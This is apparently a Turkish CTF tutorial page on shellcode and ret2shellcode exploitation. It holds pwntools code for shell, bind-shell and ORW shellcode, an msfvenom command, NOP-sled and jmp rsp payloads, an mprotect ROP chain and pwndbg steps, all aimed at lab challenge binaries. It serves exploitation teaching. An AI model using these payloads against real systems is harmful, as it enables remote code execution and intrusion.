Skip to content

Shellcode & ret2shellcode

shellcode difficulty: orta

Shellcode, doğrudan CPU’ya beslenen ve genellikle bir kabuk (/bin/sh) açan makine kodudur. Klasik ret2shellcode; girdiyle çalıştırılabilir bir belleğe shellcode yazıp dönüş adresini oraya yönlendirmektir. NX açıksa önce bölgeyi çalıştırılabilir yapmak (mprotect) veya saf ROP’a geçmek gerekir.

from pwn import *
context.arch = 'amd64'
context.os = 'linux'
sc = asm(shellcraft.sh()) # execve("/bin/sh",0,0)
sc = asm(shellcraft.cat('flag.txt')) # CTF ORW tarzı
sc = asm(shellcraft.bindsh(4444)) # dinleyen shell (lab)
print(enhex(sc), len(sc))
# msfvenom -p linux/x64/exec CMD=/bin/sh -f python -b '\x00\x0a'

Null-free / badchar:

# Encoder örneği (pwntools)
sc = encode(asm(shellcraft.sh()), avoid=b'\x00\x0a')
  1. Yazılabilir + çalıştırılabilir bir adres bul — vmmap içinde rwx veya NX kapalı stack. Adres sızdırılıyor mu ( puts(buf) , format %p )?

  2. Payload’ı kur — shellcode + padding; dönüş adresini shellcode başına yönlendir. Adres kayıyorsa NOP sled:

    from pwn import *
    elf = context.binary = ELF('./chall')
    sc = asm(shellcraft.sh())
    nop = asm('nop')
    buf_addr = 0x7fffffffde00 # leak'ten gelmeli
    payload = nop * 64 + sc
    payload = payload.ljust(offset, b'A')
    payload += p64(buf_addr) # sled içine düşecek şekilde
  3. Gönder ve doğrula — GDB’de x/10i $rip shellcode mu; remote’da aynı ASLR koşullarını hesaba kat (leak şart olabilir).

JMP RSP / call rsp (stack adresi bilinmiyor)

Section titled “JMP RSP / call rsp (stack adresi bilinmiyor)”

Binary’de jmp rsp gadget’ı varsa:

jmp_rsp = next(elf.search(asm('jmp rsp')))
payload = flat({ offset: jmp_rsp }) + asm(shellcraft.sh())
# RIP → jmp rsp → hemen sonraki baytlar = shellcode
from pwn import *
elf = context.binary = ELF('./chall')
libc = ELF('./libc.so.6')
# leak sonrası:
rop = ROP(libc)
page = buf_addr & ~0xfff
rop.call('mprotect', [page, 0x1000, 7]) # PROT_READ|WRITE|EXEC
rop.raw(buf_addr)
payload = flat({ offset: rop.chain() })
# stage: önce shellcode'u buf'a yazmış ol

Alternatif: saf ROP ile execve (ROP) — shellcode gerekmez.

Terminal window
pwndbg> r
Terminal window
pwndbg> break *vuln+XX
Terminal window
pwndbg> c
Terminal window
pwndbg> x/20i $rsp # shellcode stack'te mi?
Terminal window
pwndbg> set $rip=$rsp # deneme (NX kapalıysa)
Terminal window
pwndbg> stepi
- Badchars: \x00 (strcpy), \x0a (gets/fgets satır), boşluk
- Uzunluk: buf küçük → staged shellcode (read stub + ikinci stage)
- NX + Full ASLR: leak + mprotect veya ROP; kör ret2shellcode nadiren çalışır
- Seccomp: execve yasak → ORW shellcode (open/read/write)
# Kısa ORW fikri (shellcraft)
sc = asm(
shellcraft.open('flag.txt') +
shellcraft.read('rax', 'rsp', 0x100) +
shellcraft.write(1, 'rsp', 0x100)
)